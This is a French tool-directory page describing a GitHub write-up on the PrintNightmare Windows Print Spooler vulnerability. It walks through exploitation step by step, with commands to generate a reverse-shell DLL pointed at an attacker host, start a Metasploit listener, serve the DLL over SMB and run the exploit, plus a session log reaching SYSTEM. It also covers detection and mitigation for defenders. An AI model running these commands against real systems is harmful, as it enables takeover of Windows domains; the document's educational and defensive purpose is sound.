Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-1675-PrintNightmare-Analysis — Analyse technique de PrintNightmare (CVE-2021-1675 / CVE-2021-34527), couvrant l'exploitation RCE/LPE, la détection via les journaux d'événements Windows et les mesures d'atténuation pour Print Spooler. | Kitploit
Outils/GitHubGitHub/velessecurity/cve-2021-1675-printnightmare-analysis
Escalade de PrivilègesReconnaissanceAnalyse des VulnérabilitésExploitationTests d'IntrusionArticles et RechercheApprentissage et ÉducationRéponse aux IncidentsAnalyse de Journaux

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubvelessecurity/cve-2021-1675-printnightmare-analysis

CVE-2021-1675-PrintNightmare-Analysis

Analyse technique de PrintNightmare (CVE-2021-1675 / CVE-2021-34527), couvrant l'exploitation RCE/LPE, la détection via les journaux d'événements Windows et les mesures d'atténuation pour Print Spooler.

Voir le dépôt
5il y a 22 joursPas encore vérifié

Recherche de vulnérabilités : Élévation locale de privilèges et RCE via Windows Print Spooler (PrintNightmare / CVE-2021-1675)

Le dépôt contient un rapport technique détaillé (Write-up) et une analyse du concept d'exploitation d'une vulnérabilité critique dans le service du gestionnaire d'impression Windows (Print Spooler), permettant à un utilisateur de domaine à faibles privilèges d'exécuter à distance du code arbitraire avec les plus hauts privilèges système.

🛑 AVERTISSEMENT ET CLAUSE DE NON-RESPONSABILITÉ : Ce matériel a été préparé exclusivement à des fins éducatives et pour la réalisation d'un audit de sécurité légitime (Pentest). L'utilisation des techniques décrites contre des systèmes sans le consentement écrit préalable des propriétaires est passible de poursuites judiciaires.


📌 Pertinence et contexte de la recherche

Les vulnérabilités de la famille PrintNightmare représentent une menace critique pour les environnements d'entreprise basés sur Windows Server et Active Directory. Le défaut architectural de contrôle des droits dans les interfaces RPC MS-RPRN (Print System Remote Protocol) et MS-PAR (Print System Asynchronous Remote Protocol) permet de demander légitimement l'installation de pilotes d'imprimante sur un serveur distant.

Le principal danger réside dans le fait que, par défaut, le service du gestionnaire d'impression (spoolsv.exe) est actif sur la plupart des serveurs, y compris les contrôleurs de domaine (Domain Controllers), et fonctionne avec les privilèges les plus élevés, NT AUTHORITY\SYSTEM. La compromission d'un seul compte à faibles privilèges (par exemple, via hameçonnage) permet à un attaquant de prendre instantanément le contrôle total de toute l'infrastructure Active Directory.


🏗 Architecture de la recherche et pile technologique

  • Objectif : Prendre le contrôle d'un hôte Windows distant via les interfaces RPC d'impression.
  • Vecteur d'attaque : RPC Remote Driver Load → DLL Injection → SYSTEM Privileges.
  • Outils : impacket (rpcdump, smbserver), msfvenom, Metasploit Framework, exploit Python.

📈 Déroulement pratique de l'exploitation

Étape 1. Reconnaissance et collecte des identifiants (Reconnaissance)

Pour mettre en œuvre le vecteur d'exécution de code à distance (RCE), des identifiants de domaine valides d'un utilisateur disposant de privilèges minimaux sont nécessaires (fournis dans le cadre de l'étude).

  • Audit de base du service : Le service Print Spooler (spoolsv.exe) sur la machine Windows cible est actif et fonctionne avec les privilèges maximaux SYSTEM, ce qui ouvre une possibilité directe d'élévation de privilèges locale (LPE) sur l'hôte via le chargement d'une bibliothèque non fiable.

Étape 2. Analyse des interfaces RPC (Scanning)

Avant de lancer l'exploit principal, il est nécessaire de vérifier que la machine distante fournit les protocoles d'impression vulnérables et est ouverte aux interactions réseau. Nous interrogeons les interfaces RPC du système cible :

root@kitploit:~
impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'

Sortie de terminal contrôlée :

root@kitploit:~
Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]
  • Enseignement de l'étape : L'hôte cible a bien renvoyé les chaînes de protocole [MS-RPRN] et [MS-PAR]. Cela confirme à 100 % que le système prend en charge les interfaces d'impression distante nécessaires et qu'il est vulnérable au vecteur PrintNightmare.

Étape 3. Préparation de la charge utile et de l'infrastructure (Weaponization)

1. Génération d'une DLL malveillante avec reverse shell :

Nous créons une charge utile pour l'architecture x64, en indiquant l'adresse IP de notre machine d'attaque pour la connexion réseau inverse :

root@kitploit:~
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll

2. Lancement d'un listener en arrière-plan dans Metasploit :

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"

3. Déploiement d'un partage SMB local :

Le serveur Windows cible doit avoir la possibilité légitime de télécharger notre bibliothèque DLL sur le réseau sans utiliser d'utilitaires tiers. Nous mettons en place un serveur SMB avec prise en charge du protocole SMBv2 à partir du dossier /tmp :

root@kitploit:~
sudo impacket-smbserver tmp /tmp -smb2support

Étape 4. Exploitation et compromission du système (Exploitation)

Nous exécutons le script d'exploitation Python, en lui transmettant les identifiants de domaine d'un utilisateur à faibles privilèges et le chemin UNC vers la bibliothèque malveillante sur notre partage SMB local :

root@kitploit:~
python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'

Journal de l'interception de session réussie (Metasploit) :

root@kitploit:~
[*] Started reverse TCP handler on <ATTACKER_IP>:4444 
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) Корпорация Майкрософт (Microsoft Corporation). Все права защищены.

C:\Windows\system32> whoami
nt authority\system
  • Résultat : Après l'exécution de l'exploit, le service d'impression distant a chargé avec succès le pilote malveillant depuis le dossier réseau. Une session Meterpreter s'est ouverte dans Metasploit avec les plus hauts privilèges NT AUTHORITY\SYSTEM. La cible est entièrement compromise.

🔍 Indicateurs de compromission et détection (Detection)

Pour les spécialistes de la Blue Team, la détection de l'exploitation de PrintNightmare repose sur l'audit des journaux système Windows et le suivi de l'activité anormale des processus.

1. Surveillance des événements Windows (Event Logs)

L'exécution réussie de l'exploit laisse des traces caractéristiques dans les journaux d'impression et les journaux système :

  • Event ID 808 (PrintService) : Enregistrement d'un échec ou d'un chargement atypique du module d'imprimante. Permet de voir le nom de la DLL tierce chargée (par exemple, depuis les chemins C:\Windows\System32\spool\drivers\x64\3\).
  • Event ID 7031 (System) : Redémarrage forcé soudain du service du gestionnaire d'impression (Print Spooler), causé par le fonctionnement instable de l'exploit.

2. Comportement des processus (EDR / Sysmon)

  • Activité enfant anormale : Apparition de processus de ligne de commande (cmd.exe, powershell.exe) ou d'utilitaires de collecte de données dont le parent est le processus système du gestionnaire d'impression spoolsv.exe. Dans des conditions légitimes, spoolsv.exe ne génère jamais de shells de commande.
  • Activité réseau : Établissement de connexions réseau sortantes par le processus spoolsv.exe vers des ressources SMB externes (port 445) pour télécharger des fichiers de pilotes.

🛡 Recommandations pour remédier à la vulnérabilité (Mitigation)

  1. Désactivation complète du service (Recommandé) : Si le serveur n'assure pas de fonctions d'impression (en particulier sur les contrôleurs de domaine), le service Print Spooler doit être entièrement désactivé et placé en mode Disabled.
  2. Restriction de l'impression à distance : Désactivation de la possibilité d'impression à distance via les stratégies de groupe (GPO) :
    • Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections (Disabled).
  3. Installation des mises à jour : Application en temps utile des correctifs de sécurité officiels de Microsoft (KB) pour combler les vulnérabilités d'exécution de code à distance dans le sous-système d'impression.

🔗 Liens utiles et ressources

  • Base CVE : NIST NVD - CVE-2021-1675 | NIST NVD - CVE-2021-34527
  • Articles analytiques : Microsoft Security Update Advisory
Télécharger l’outil